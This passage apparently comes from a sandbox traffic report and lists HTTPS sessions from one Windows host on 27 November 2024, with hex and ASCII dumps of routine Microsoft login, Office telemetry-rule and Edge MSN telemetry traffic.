2024-11-27 15:35:01 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-27 15:35:02 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 27 Nov 2024 15:34:01 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BL2 x-ms-request-id: e904fb99-395a-4e24-b033-ca091d3fc2a0 PPServer: PPV: 30 H: BL02EPF0001D8C0 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 15:35:01 GMT Connection: close Content-Length: 1918
2024-11-27 15:35:02 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:01 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:35:01 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:35:01 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: baa0a071-001e-0082-5b91-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153501Z-174f7845968kdththC1EWRzvxn00000009k00000000030vt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:35:01 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.7	49910	20.190.177.82	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:01 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-27 15:35:01 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-27 15:35:02 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 27 Nov 2024 15:34:01 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C502_BAY x-ms-request-id: 4cf9955f-67c2-4233-b4d3-2d3411140bbb PPServer: PPV: 30 H: PH1PEPF00018BD7 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 15:35:02 GMT Connection: close Content-Length: 11389
2024-11-27 15:35:02 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:01 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:35:02 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:35:01 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a75c6aaa-401e-002a-4291-3fc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153501Z-174f7845968px8v7hC1EWR08ng0000000xfg000000000w48 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:35:02 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:01 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:35:02 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:35:02 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 83136512-401e-00ac-3a5a-400a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153502Z-174f7845968swgbqhC1EWRmnb40000000x5g00000000pcgt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:35:02 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.7	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:02 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:35:02 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:35:02 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: e56afb1e-801e-0083-3991-3ff0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153502Z-174f7845968pf68xhC1EWRr4h80000000xc000000000c77b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:35:02 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.7	49916	104.208.16.90	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:03 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732728800368&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11567 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1E3415CF46DC6CBF03A7008B47566DA7; _EDGE_S=F=1&SID=26375401AFD5621E074E4145AE73634F; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-27 15:35:03 UTC	11567	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 37 54 31 37 3a 33 33 3a 32 30 2e 33 36 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 64 31 33 30 39 31 35 36 2d 32 65 63 38 2d 34 36 65 32 2d 62 36 65 61 2d 36 38 32 62 36 30 32 30 34 63 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 33 35 37 32 34 34 33 31 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-27T17:33:20.365Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"d1309156-2ec8-46e2-b6ea-682b60204c68","epoch":"357244319"},"app":{"locale"
2024-11-27 15:35:03 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=d6e2f1bbc7de42a6803b582505cd26b9&HASH=d6e2&LV=202411&V=4&LU=1732721703301; Domain=.microsoft.com; Expires=Thu, 27 Nov 2025 15:35:03 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=302fc25529314e50bccdac3caee1b505; Domain=.microsoft.com; Expires=Wed, 27 Nov 2024 16:05:03 GMT; Path=/;Secure; SameSite=None time-delta-millis: -7097067 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 27 Nov 2024 15:35:03 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.7	49915	104.208.16.90	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:03 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732728800372&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5050 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1E3415CF46DC6CBF03A7008B47566DA7; _EDGE_S=F=1&SID=26375401AFD5621E074E4145AE73634F; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-27 15:35:03 UTC	5050	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 37 54 31 37 3a 33 33 3a 32 30 2e 33 37 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 64 31 33 30 39 31 35 36 2d 32 65 63 38 2d 34 36 65 32 2d 62 36 65 61 2d 36 38 32 62 36 30 32 30 34 63 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 33 35 37 32 34 34 33 31 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-27T17:33:20.371Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"d1309156-2ec8-46e2-b6ea-682b60204c68","epoch":"357244319"},"app":{"locale"
2024-11-27 15:35:03 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=b8d95980acad40f0af77038e2978c8b6&HASH=b8d9&LV=202411&V=4&LU=1732721703564; Domain=.microsoft.com; Expires=Thu, 27 Nov 2025 15:35:03 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=c29b6fd1b03740a5a24dbcd40eef8c67; Domain=.microsoft.com; Expires=Wed, 27 Nov 2024 16:05:03 GMT; Path=/;Secure; SameSite=None time-delta-millis: -7096808 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 27 Nov 2024 15:35:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:03 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:35:04 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:35:03 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: edbee89c-c01e-00a2-7069-402327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153503Z-174f7845968pf68xhC1EWRr4h80000000x9000000000nmk4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:35:04 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.7	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:03 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
